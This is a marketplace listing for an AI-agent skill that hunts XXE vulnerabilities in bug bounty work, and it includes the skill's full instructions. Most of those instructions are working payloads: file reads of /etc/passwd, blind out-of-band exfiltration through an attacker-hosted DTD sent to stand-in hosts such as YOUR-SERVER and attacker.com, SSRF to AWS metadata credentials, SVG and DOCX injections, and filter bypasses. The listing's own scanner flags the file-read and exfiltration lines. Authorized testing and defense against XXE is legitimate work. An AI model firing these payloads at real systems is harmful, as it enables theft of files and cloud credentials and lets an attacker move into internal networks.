Mmcp.market

hunt-xxe skill

by elementalsouls·elementalsouls/Claude-BugHunter·4.7k stars·MIT

Hunting skill for xxe vulnerabilities. Built from 10 public bug bounty reports including SVG-upload XXE, Office-doc (PPTX/DOCX) XXE, SOAP XXE, SAML AssertionConsumer XXE, blind OOB XXE via DTD callback, parameter-entity XXE, XXE-to-LFI, XXE-to-SSRF, and XXE-to-RCE chains (Adobe Commerce CosmicSting CVE-2024-34102). Use when hunting XXE on any target — emphasis on OOB-Or-It-Didn't-Happen Gate for blind cases.

D40/100content scan

Is the hunt-xxe skill safe?

Serious findings: read the flagged lines first. We read 1 file in the folder on 2026-09-28.

  • highSKILL.md:110

    Reads credential files (SSH keys, cloud or package-manager tokens) that a skill has no normal reason to touch.

    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
  • highSKILL.md:139

    Sends data to a throwaway collection endpoint (request bins, webhooks, tunnels).

    <!ENTITY xxe SYSTEM "http://YOUR.BURPCOLLABORATOR.net/xxe-test">

Install the hunt-xxe skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description. Read the findings above first.

git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-xxe ~/.claude/skills/hunt-xxe
available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

Crown Jewel Targets

XXE is a critical-severity vulnerability that consistently pays at the top of bug bounty scales ($5,000–$30,000+) due to its direct path to sensitive data exfiltration and SSRF. Highest-value targets:

  • Large enterprise platforms with XML-heavy backend integrations (finance, logistics, ride-sharing APIs)
  • Domains with file-read capability — /etc/passwd, /etc/shadow, internal config files, AWS metadata endpoints
  • Subdomains sharing backend infrastructure — one XXE endpoint can pivot to internal services across dozens of domains (as demonstrated by 26+ Uber domains via a single entry point)
  • API gateways accepting XML content types — especially REST APIs that silently accept Content-Type: application/xml
  • File upload features — SVG, DOCX, XLSX, PDF, PPTX parsers on the server side
  • SAML/SSO endpoints — SAML assertions are XML-based and frequently vulnerable
  • Office/document processing services — any feature that converts or processes user-supplied documents

Attack Surface Signals

URL Patterns

/api/v*/xml
/upload
/import
/parse
/convert
/saml/acs
/sso/saml
/feed
/rss
/sitemap
/webdav
/soap/*
/wsdl
/service.asmx
/xmlrpc
/graphql (multipart with XML)

Request/Response Headers

Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml
Content-Type: multipart/form-data  ← check file upload fields
Accept: application/xml
X-Content-Type-Options: (absent — good sign of loose parsing)

JavaScript Patterns (source recon)

// Look for in JS bundles
XMLSerializer
DOMParser
parseFromString
new ActiveXObject("Microsoft.XMLDOM")
$.parseXML(
xml2js
libxmljs
lxml

Tech Stack Signals

  • Java stacks: Spring, Struts, JAX-WS — default XML parsers (SAX, DOM) are XXE-vulnerable without explicit hardening
  • PHP: simplexmlloadstring(), DOMDocument::loadXML() — vulnerable by default pre-PHP 8
  • Python: lxml, xml.etree (safe by default), xml.sax (unsafe)
  • Ruby: Nokogiri older versions, REXML
  • Node.js: xml2js, libxmljs, fast-xml-parser (older versions)
  • WSDL/SOAP services: Always test — legacy XML parsing virtually guaranteed
  • File parsers: Apache POI (Java), python-docx, LibreOffice integrations

Step-by-Step Hunting Methodology

  1. Map every XML entry point — Use Burp Suite passive scanner to flag all requests/responses with XML content types. Also intercept JSON endpoints and manually swap Content-Type to application/xml with equivalent XML body.
  1. Identify file upload features — Upload SVG, DOCX, XLSX, and observe if the server processes/renders content. These are often XML under the hood.
  1. Attempt inline XXE (classic file read) — Replace the XML body with a basic entity test payload targeting /etc/passwd or C:\Windows\win.ini. Observe if the value is reflected in the response.
  1. If no reflection, pivot to Blind OOB — Set up an OOB listener (Burp Collaborator, interactsh, or a self-hosted netcat server). Inject an external entity pointing to your callback URL. Confirm DNS/HTTP hit to validate the parser is making outbound connections.
  1. Escalate Blind OOB to file exfiltration — Use a two-stage payload: first entity loads local file, second entity sends it OOB via HTTP parameter or DNS exfiltration.
  1. Test SSRF pivot — Point the external entity at internal network addresses (http://169.254.169.254/latest/meta-data/, http://10.0.0.1/, http://localhost:8080/admin). Look for differences in response timing or error messages.
  1. Test all subdomains sharing the same backend — If one subdomain is vulnerable, enumerate and test all others systematically. Shared backend infrastructure means shared vulnerability.
  1. Test parameter-level injection — Some endpoints parse only specific XML nodes. Inject entities into every element value, attribute value, and even element names.
  1. Test for error-based exfiltration — If OOB is blocked, trigger XML parsing errors that include file content in the error message returned to the client.
  1. Document the full impact chain — Demonstrate: file read → SSRF → internal service access → note which internal domains/IPs are reachable.

Payload & Detection Patterns

Error-based exfil via local-DTD repurposing (zero network egress)

When both file:// outbound AND external-DTD fetch are blocked, reference a DTD already on disk and redefine one of its internal entities so the target file content leaks in the parse error:

<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; err SYSTEM &#x27;file:///nonexist/%file;&#x27;>">
    %eval; %err;'>
  %local_dtd; ]>

Needs zero network egress. Local DTD paths differ per distro (yelp/docbookx is common) — enumerate. (PortSwigger: XXE by repurposing a local DTD.)

Classic In-Band File Read

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

Windows Equivalent

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root><data>&xxe;</data></root>

Blind OOB — DNS/HTTP Callback

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://YOUR.BURPCOLLABORATOR.net/xxe-test">
]>
<root><data>&xxe;</data></root>

Blind OOB — File Exfiltration via Parameter Entity (two-stage)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://YOUR-SERVER/evil.dtd">
  %dtd;
]>
<root><data>trigger</data></root>

evil.dtd (hosted on attacker server):

<!ENTITY % all "<!ENTITY send SYSTEM 'http://YOUR-SERVER/?data=%file;'>">
%all;

SSRF via XXE (AWS Metadata)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&ssrf;</data></root>

SVG XXE (for file upload endpoints)

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg width="512px" height="512px" xmlns="http://www.w3.org/2000/svg">
  <text font-size="14" x="0" y="16">&xxe;</text>
</svg>

DOCX/XLSX XXE — Inject into [Content_Types].xml or word/document.xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Types xmlns="..."><Default Extension="rels" ContentType="&xxe;"/></Types>

Content-Type Swap (JSON to XML)

# Original JSON request
curl -X POST https://target.com/api/endpoint \
  -H "Content-Type: application/json" \
  -d '{"user":"test"}'

# Converted to XML for XXE testing
curl -X POST https://target.com/api/endpoint \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://COLLABORATOR.net">]><user>&xxe;</user>'

Grep Patterns for Source Code Review

# PHP
grep -rn "simplexml_load_string\|DOMDocument\|xml_parse\|loadXML\|SimpleXMLElement" .

# Java
grep -rn "DocumentBuilder\|SAXParser\|XMLReader\|XMLInputFactory\|TransformerFactory" .

# Python
grep -rn "lxml\|xml.sax\|parseString\|fromstring\|etree.parse" .

# Look for missing hardening
grep -rn "FEATURE_EXTERNAL_GENERAL_ENTITIES\|setExpandEntityReferences\|setFeature.*false" .

Common Root Causes

  1. Default parser configurations — Java's DocumentBuilderFactory, PHP's DOMDocument, and Python's lxml all support external entities by default. Developers use them without reading the security docs.
  1. Framework upgrades without security re-review — Older versions of Spring, Struts, and similar frameworks enabled XXE by default; developers didn't re-audit XML handling when libraries changed.
  1. Hidden XML consumption — Developers accept JSON at the API layer but convert to XML internally, or use libraries (Apache POI, python-docx) to process uploads without realizing those formats are XML containers.
  1. Copy-paste code from StackOverflow — XML parsing examples online rarely include entity disabling. Developers copy minimal working examples straight into production.
  1. SAML/SSO library misconfigurations — SSO integrations often delegate XML parsing to third-party libraries with XXE enabled; developers assume "library handles security."
  1. Testing gaps on non-primary content types — QA tests JSON APIs extensively; XML code paths receive minimal security testing because they're secondary or legacy.
  1. Microservice XML messaging — Internal service-to-service communication uses XML (SOAP, custom schemas) and is treated as a "trusted internal" concern, bypassing security review.

Bypass Techniques

Defense: Keyword blacklist (ENTITY, DOCTYPE, SYSTEM)

<!-- Case variation -->
<!DoCtYpE foo [<!EnTiTy xxe SyStEm "file:///etc/passwd">]>

<!-- Encoding bypass -->
<?xml version="1.0" encoding="UTF-16"?>
(submit the entire payload UTF-16 encoded)

<!-- Parameter entity instead of general entity -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe;]>

Defense: External entity fetching disabled (file:// blocked)

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